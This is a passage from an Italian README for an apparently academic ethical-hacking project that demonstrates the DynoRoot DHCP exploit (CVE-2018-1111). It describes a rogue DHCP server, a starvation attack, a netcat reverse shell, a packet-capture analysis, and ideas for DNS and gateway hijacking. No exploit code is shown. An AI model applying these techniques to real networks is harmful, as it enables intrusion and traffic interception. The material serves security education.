    4. I messaggi DHCP manipolati del server DHCP rogue che offre `192.168.0.2`
    5. La conferma che netcat ha ricevuto la connessione reverse shell da `192.168.0.2`
    6. Le opzioni DNS false ricevute dalla `vittima`, 
       ovvero indirizzo DNS `192.168.0.1` e dominio `victim.net`
    7. L'esecuzione riuscita di comandi semplici in remoto sulla macchina vittima
    8. Il DHCP `RELEASE` inviato alla fine dell'attacco
    
    <a href="https://youtu.be/rgjMzQ5ExyA">
      <img src="https://assets.kitploit.com/production/public/readmes/23114/de82a8bbb23835dcc4d0836fe7f906d9610b860d02a0e92b903191be840a799c.gif" style="position:relative; left:50%; transform:translateX(-50%); max-width:1000px;" width="90%">
    </a>
    
    #### Analisi del traffico
    
    Il [file di acquisizione](https://github.com/baldassarrefe/fep3370-advanced-ethical-hacking/blob/main/media/attack.pcap) contenente la traccia dell'attacco può essere analizzato in
    [Wireshark](https://wiki.wireshark.org/DHCP). Nella cattura possiamo notare:
    1. Lo scambio DHCP a 4 vie tra il `gateway` e l'`attacker`
    2. L'attacco di starvation DHCP
    3. Lo scambio DPCH iniziato dalla `vittima` e completato dall'`attacker`
    4. Le richieste e risposte ARP _who-has_ quando la `vittima` si è connessa alla sessione netcat 
       sull'`attacker`
    
    <figure style="text-align:center">
      <img src="https://assets.kitploit.com/production/public/readmes/23114/4503aa77c165c6b2b669f178171dbea60d054b88b56f5d857918fd257e2c6b94.png" style="max-width:800px;" width="90%"/>
      <figcaption>Acquisizione dei pacchetti dell'attacco, l'opzione DHCP relativa all'exploit è evidenziata. Le lettere negli indirizzi MAC indicano: <code>d</code> server DHCP, <code>a</code> attaccante, <code>f</code> vittima Fedora</figcaption>
    </figure>
    
    ## Lavori futuri
    DynoRoot colpisce vecchie distribuzioni Fedora e RedHat, ed è stato corretto nelle versioni più recenti.
    Pertanto, le possibilità di eseguire questo exploit in ambienti reali sono limitate. Fortunatamente, gli attacchi DHCP
    non si limitano all'esecuzione remota di codice: qualsiasi tipo di opzione manipolata verrà accettata dal client
    indipendentemente dalla presenza della vulnerabilità DynoRoot. Il modo più semplice per sfruttare questo comportamento
    è pubblicizzare una macchina controllata dall'attaccante come gateway di rete o come DNS per una determinata
    zona, consentendo così di monitorare, ispezionare e re-indirizzare tutto il traffico successivo.
    
    Un'altra direzione interessante riguarda gli attacchi di starvation DHCP. L'attacco presentato in questo progetto
    si basa sull'inondare il server DHCP con `REQUESTS` da indirizzi MAC falsificati, il che non è esattamente la
    definizione di furtività. Questo post del blog esplora la possibilità di 
    [eseguire attacchi di starvation senza inviare un singolo pacchetto DHCP](https://medium.com/bugbountywriteup/dhcp-starvation-attack-without-making-any-dhcp-requests-bef0022133c9) 
    ma basandosi invece su risposte ARP falsificate.
    
    ## Crediti
    [CVE-2018-1111](https://access.redhat.com/security/vulnerabilities/3442151) è stato segnalato a Red Hat
    da [Felix Wilhelm](https://twitter.com/_fel1x) del Google Security Team.
    
    Lo script Python per eseguire l'exploit proviene dal [repository](https://github.com/kkirsche/CVE-2018-1111) GitHub di [Kevin Kirsche](https://github.com/kkirsche)
    con lievi modifiche per ignorare l'indirizzo MAC dell'attaccante stesso.
    
    Scarica lo strumento